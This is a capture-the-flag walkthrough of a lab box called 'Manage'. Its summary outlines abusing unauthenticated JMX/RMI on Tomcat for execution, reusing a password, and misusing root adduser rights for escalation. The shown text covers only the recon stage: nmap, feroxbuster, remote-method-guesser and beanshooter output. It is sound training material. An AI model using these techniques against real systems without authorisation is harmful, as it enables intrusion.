Manage

Manage starts with a Tomcat website with RMI and JMX exposed. I’ll abuse these to get execution and a shell. I’ll find a Google Authenticator file in a backup archive, and use that with password reuse to pivot to the next user. That user can run adduser as root, but only giving a username. I’ll abuse this to create an admin user which gets the admin group which can sudo anything by defau

Box Info

Name Manage Manage
Play on HackTheBox
Release Date 29 Jul 2025
Retire Date 29 Jul 2025
OS Linux Linux
Base Points Easy [20]
First Blood User N/A (non-competitive)
First Blood Root N/A (non-competitive)
Creators fumenoid
xct

Recon

Initial Scanning

nmap finds five open TCP ports, SSH (22), HTTP (8080), and three unknown potentially Java-related ports:

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-24 19:46 UTC
...[snip]...
Nmap scan report for 10.129.234.57
Host is up, received echo-reply ttl 63 (0.089s latency).
Scanned at 2025-07-24 19:46:51 UTC for 7s
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE      REASON
22/tcp    open  ssh          syn-ack ttl 63
2222/tcp  open  EtherNetIP-1 syn-ack ttl 63
8080/tcp  open  http-proxy   syn-ack ttl 63
33129/tcp open  unknown      syn-ack ttl 63
41557/tcp open  unknown      syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds
           Raw packets sent: 65542 (2.884MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 22,2222,8080,33129,41557 -sCV 10.129.234.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-24 19:47 UTC
Nmap scan report for 10.129.234.57
Host is up (0.089s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
|_  256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
2222/tcp  open  java-rmi   Java RMI
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:41557
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
8080/tcp  open  http       Apache Tomcat 10.1.19
|_http-title: Apache Tomcat/10.1.19
|_http-favicon: Apache Tomcat
33129/tcp open  tcpwrapped
41557/tcp open  java-rmi   Java RMI
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.25 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 22.04 jammy (though possibly 22.10 kinetic).

There’s a Tomcat webserver on 8080, which is Java-based. Java remote method invocation (RMI) is typically found on 1099, but 2222 and 41557 box say they are Java RMI. The script output on 2222 seems like a match for RMI.

All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

Website - TCP 8080

Site

The website is the default Tomcat page:

image-20250724160016447

Trying to visit the link to the Manager App returns a 403:

image-20250724160101605

Server Status and Host Manager return the same.

Tech Stack

This is clearly a Tomcat site. The 404 page matches the default Tomcat 404:

image-20250724161045348

It also gives the version 10.1.190 in the footer.

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u http://10.129.234.57:8080

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.234.57:8080
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l       68w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET       83l      433w     3446c http://10.129.234.57:8080/manager/status
403      GET       73l      389w     3022c http://10.129.234.57:8080/host-manager/html
403      GET       83l      433w     3446c http://10.129.234.57:8080/manager/html
200      GET      398l      788w     5584c http://10.129.234.57:8080/tomcat.css
302      GET        0l        0w        0c http://10.129.234.57:8080/docs => http://10.129.234.57:8080/docs/
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/config
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/appdev
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/manager-howto.html
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/realm-howto.html
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/deployer-howto.html
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/api/index.html
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/setup.html
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/changelog.html
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/security-howto.html
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/jndi-datasource-examples-howto.html
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/cluster-howto.html
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/RELEASE-NOTES.txt
200      GET       22l       93w    42556c http://10.129.234.57:8080/favicon.ico
403      GET       27l       89w      877c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET       83l      433w     3446c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET       73l      389w     3022c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET       27l       89w      865c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      967l     1204w    67795c http://10.129.234.57:8080/tomcat.svg
200      GET      198l      490w    11219c http://10.129.234.57:8080/
302      GET        0l        0w        0c http://10.129.234.57:8080/manager => http://10.129.234.57:8080/manager/
302      GET        0l        0w        0c http://10.129.234.57:8080/examples => http://10.129.234.57:8080/examples/
400      GET        1l       71w      763c http://10.129.234.57:8080/[
400      GET        1l       71w      763c http://10.129.234.57:8080/plain]
400      GET        1l       71w      763c http://10.129.234.57:8080/docs/api/[
400      GET        1l       71w      763c http://10.129.234.57:8080/docs/api/plain]
400      GET        1l       71w      763c http://10.129.234.57:8080/docs/plain]
400      GET        1l       71w      763c http://10.129.234.57:8080/docs/[
400      GET        1l       71w      763c http://10.129.234.57:8080/examples/plain]
400      GET        1l       71w      763c http://10.129.234.57:8080/examples/[
400      GET        1l       71w      763c http://10.129.234.57:8080/manager/plain]
400      GET        1l       71w      763c http://10.129.234.57:8080/manager/[
400      GET        1l       71w      763c http://10.129.234.57:8080/host-manager/[
400      GET        1l       71w      763c http://10.129.234.57:8080/host-manager/plain]
400      GET        1l       71w      763c http://10.129.234.57:8080/]
400      GET        1l       71w      763c http://10.129.234.57:8080/docs/]
400      GET        1l       71w      763c http://10.129.234.57:8080/docs/api/]
400      GET        1l       71w      763c http://10.129.234.57:8080/examples/]
400      GET        1l       71w      763c http://10.129.234.57:8080/manager/]
400      GET        1l       71w      763c http://10.129.234.57:8080/host-manager/]
400      GET        1l       71w      763c http://10.129.234.57:8080/quote]
400      GET        1l       71w      763c http://10.129.234.57:8080/docs/quote]
400      GET        1l       71w      763c http://10.129.234.57:8080/docs/api/quote]
400      GET        1l       71w      763c http://10.129.234.57:8080/examples/quote]
400      GET        1l       71w      763c http://10.129.234.57:8080/manager/quote]
400      GET        1l       71w      763c http://10.129.234.57:8080/host-manager/quote]
400      GET        1l       71w      763c http://10.129.234.57:8080/extension]
400      GET        1l       71w      763c http://10.129.234.57:8080/docs/extension]
400      GET        1l       71w      763c http://10.129.234.57:8080/docs/api/extension]
400      GET        1l       71w      763c http://10.129.234.57:8080/examples/extension]
400      GET        1l       71w      763c http://10.129.234.57:8080/manager/extension]
400      GET        1l       71w      763c http://10.129.234.57:8080/host-manager/extension]
400      GET        1l       71w      763c http://10.129.234.57:8080/[0-9]
400      GET        1l       71w      763c http://10.129.234.57:8080/docs/[0-9]
400      GET        1l       71w      763c http://10.129.234.57:8080/docs/api/[0-9]
400      GET        1l       71w      763c http://10.129.234.57:8080/examples/[0-9]
400      GET        1l       71w      763c http://10.129.234.57:8080/manager/[0-9]
400      GET        1l       71w      763c http://10.129.234.57:8080/host-manager/[0-9]
[####################] - 2m    180038/180038  0s      found:58      errors:0
[####################] - 2m     30000/30000   260/s   http://10.129.234.57:8080/
[####################] - 2m     30000/30000   250/s   http://10.129.234.57:8080/examples/
[####################] - 2m     30000/30000   257/s   http://10.129.234.57:8080/docs/
[####################] - 2m     30000/30000   244/s   http://10.129.234.57:8080/manager/
[####################] - 2m     30000/30000   243/s   http://10.129.234.57:8080/host-manager/
[####################] - 2m     30000/30000   256/s   http://10.129.234.57:8080/docs/api/ 

Nothing too interesting here.

Java RMI - TCP 2222

remote-method-guesser

I’ll use the tool remote-method-guesser to enumerate the RMI instance. I’ll download that latest Jar release from the GitHub release page, and give it a run in enum mode:

oxdf@hacky$ java -jar rmg-5.1.0-jar-with-dependencies.jar enum 10.129.234.57 2222
[+] RMI registry bound names:
[+]
[+]     - jmxrmi
[+]             --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+]                 Endpoint: 127.0.1.1:41557  CSF: RMISocketFactory  ObjID: [-41777b98:1983e05c0e0:-7fff, 4223655025105295607]
[+]
[+] RMI server codebase enumeration:
[+]
[+]     - The remote server does not expose any codebases.
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+]     - Server complained that object cannot be casted to java.lang.String.
[+]       --> The type java.lang.String is unmarshalled via readString().
[+]       Configuration Status: Current Default
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+]     - RMI registry uses readString() for unmarshalling java.lang.String.
[+]       This prevents useCodebaseOnly enumeration from remote.
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+]     - Registry rejected unbind call cause it was not sent from localhost.
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+]     - Caught Exception containing 'no security manager' during RMI call.
[+]       --> The server does not use a Security Manager.
[+]       Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+]     - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+]     - RMI registry uses readString() for unmarshalling java.lang.String.
[+]       This prevents JEP 290 bypass enumeration from remote.
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+]     - Caught NoSuchObjectException during activate call (activator not present).
[+]       Configuration Status: Current Default

Nothing interesting.

JMX Enumeration

Java management extensions (JMX) is another tool that can be communicated with via RMI.

The author of remote-method-guesser make another tool, beanshooter, which will enumerate JMX for any vulnerabilities. I’ll download the Jar file from the GitHub releases page and give it a run in enum mode:

oxdf@hacky$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.129.234.57 2222
[+] Checking available bound names:
[+]
[+]     * jmxrmi (JMX endpoint: 127.0.1.1:41557)
[+]
[+] Checking for unauthorized access:
[+]
[+]     - Remote MBean server does not require authentication.
[+]       Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+]     - Remote MBeanServer rejected the payload class.
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+]     - 198 MBeans are currently registered on the MBean server.
[+]       Listing 176 non default MBeans:
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/host-manager)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/manager,name=RemoteAddrValve)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/host-manager,name=HostManager,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080")
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=default,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.RoleMBean (Users:type=Role,rolename="role1",database=UserDatabase)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest22)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest1)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/manager)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=SessionExample,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/host-manager,name=Cache)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=RequestHeaderExample,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest24)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/manager,name=Tomcat WebSocket (JSR356) Filter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/host-manager,name=StandardContextValve)
[+]       - org.apache.catalina.mbeans.ServiceMBean (Catalina:type=Service)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=jsp,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest36)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/docs,name=NonLoginAuthenticator)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest10)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest19)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=JspMonitor,WebModule=//localhost/manager,name=jsp,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest38)
[+]       - org.apache.catalina.mbeans.ContextMBean (Catalina:j2eeType=WebModule,name=//localhost/docs,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest3)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest20)
[+]       - jdk.management.jfr.FlightRecorderMXBeanImpl (jdk.management.jfr:type=FlightRecorder) (action: recorder)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest32)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Manager,host=localhost,context=/examples)
[+]       - org.apache.catalina.mbeans.ContextEnvironmentMBean (Catalina:type=Environment,resourcetype=Context,host=localhost,context=/examples,name=minExemptions)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/docs)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=StringCache)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=simpleimagepush,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/examples,name=Tomcat WebSocket (JSR356) Filter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.UserMBean (Users:type=User,username="admin",database=UserDatabase)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Manager,host=localhost,context=/host-manager)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest14)
[+]       - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources,host=localhost,context=/)
[+]       - org.apache.catalina.mbeans.ClassNameMBean (Catalina:type=ThreadPool,name="http-nio-8080")
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest26)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/manager,name=CSRF,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:type=Engine)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/docs,name=jsp,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/host-manager,name=jsp,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest27)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest28)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/examples,name=Request Dumper Filter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Mapper)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=RequestParamExample,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.RoleMBean (Users:type=Role,rolename="admin-gui",database=UserDatabase)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ParallelWebappClassLoader,host=localhost,context=/examples)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/examples,name=HTTP header security filter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Realm,realmPath=/realm0/realm0)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=JspMonitor,WebModule=//localhost/examples,name=jsp,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/examples,name=RemoteAddrValve)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest13)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=MBeanFactory)
[+]       - com.sun.management.internal.HotSpotDiagnostic (com.sun.management:type=HotSpotDiagnostic) (action: hotspot)
[+]       - org.apache.catalina.mbeans.ContextMBean (Catalina:j2eeType=WebModule,name=//localhost/,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ProtocolHandler,port=8080)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,name=StandardEngineValve)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ParallelWebappClassLoader,host=localhost,context=/docs)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest12)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=CookieExample,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest33)
[+]       - org.apache.catalina.mbeans.ContextMBean (Catalina:j2eeType=WebModule,name=//localhost/examples,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=RequestInfoExample,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Manager,host=localhost,context=/manager)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest40)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/manager,name=StandardContextValve)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/examples)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/docs,name=default,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest29)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/examples,name=Compression Filter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest34)
[+]       - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources,host=localhost,context=/docs)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=Status,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/,name=Tomcat WebSocket (JSR356) Filter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest11)
[+]       - org.apache.catalina.mbeans.UserMBean (Users:type=User,username="manager",database=UserDatabase)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=JMXProxy,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=HTMLManager,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=numberwriter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources,host=localhost,context=/host-manager)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/host-manager,name=Tomcat WebSocket (JSR356) Filter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/manager,name=HTTP header security filter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest35)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/manager)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest2)
[+]       - org.apache.catalina.mbeans.ContextEnvironmentMBean (Catalina:type=Environment,resourcetype=Context,host=localhost,context=/examples,name=name3)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest21)
[+]       - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources,host=localhost,context=/examples)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/examples,name=Cache)
[+]       - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=stock,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContextEnvironmentMBean (Catalina:type=Environment,resourcetype=Context,host=localhost,context=/examples,name=foo/name1)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=ServletToJsp,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/docs,name=StandardContextValve)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest25)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/host-manager,name=HTMLHostManager,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/docs,name=RemoteAddrValve)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=async1,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/host-manager,name=default,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=async0,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest9)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Realm,realmPath=/realm0)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=async3,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=async2,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources,host=localhost,context=/manager)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Deployer,host=localhost)
[+]       - org.apache.catalina.mbeans.ContextResourceMBean (Catalina:type=Resource,resourcetype=Global,class=org.apache.catalina.UserDatabase,name="UserDatabase")
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=Manager,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest4)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/host-manager)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/host-manager,name=BasicAuthenticator)
[+]       - org.apache.catalina.mbeans.MemoryUserDatabaseMBean (Users:type=UserDatabase,database=UserDatabase) (action: tomcat)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/examples,name=Timing Filter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=UtilityExecutor)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/,name=default,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=CompressionFilterTestServlet,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ConnectorMBean (Catalina:type=Connector,port=8080)
[+]       - org.apache.catalina.mbeans.RoleMBean (Users:type=Role,rolename="manage-gui",database=UserDatabase)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest37)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/host-manager,name=CSRF,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContextMBean (Catalina:j2eeType=WebModule,name=//localhost/manager,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=ErrorReportValve)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest31)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/examples)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:type=Host,host=localhost)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=JspMonitor,WebModule=//localhost/host-manager,name=jsp,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=JspMonitor,WebModule=//localhost/docs,name=jsp,J2EEApplication=none,J2EEServer=none)
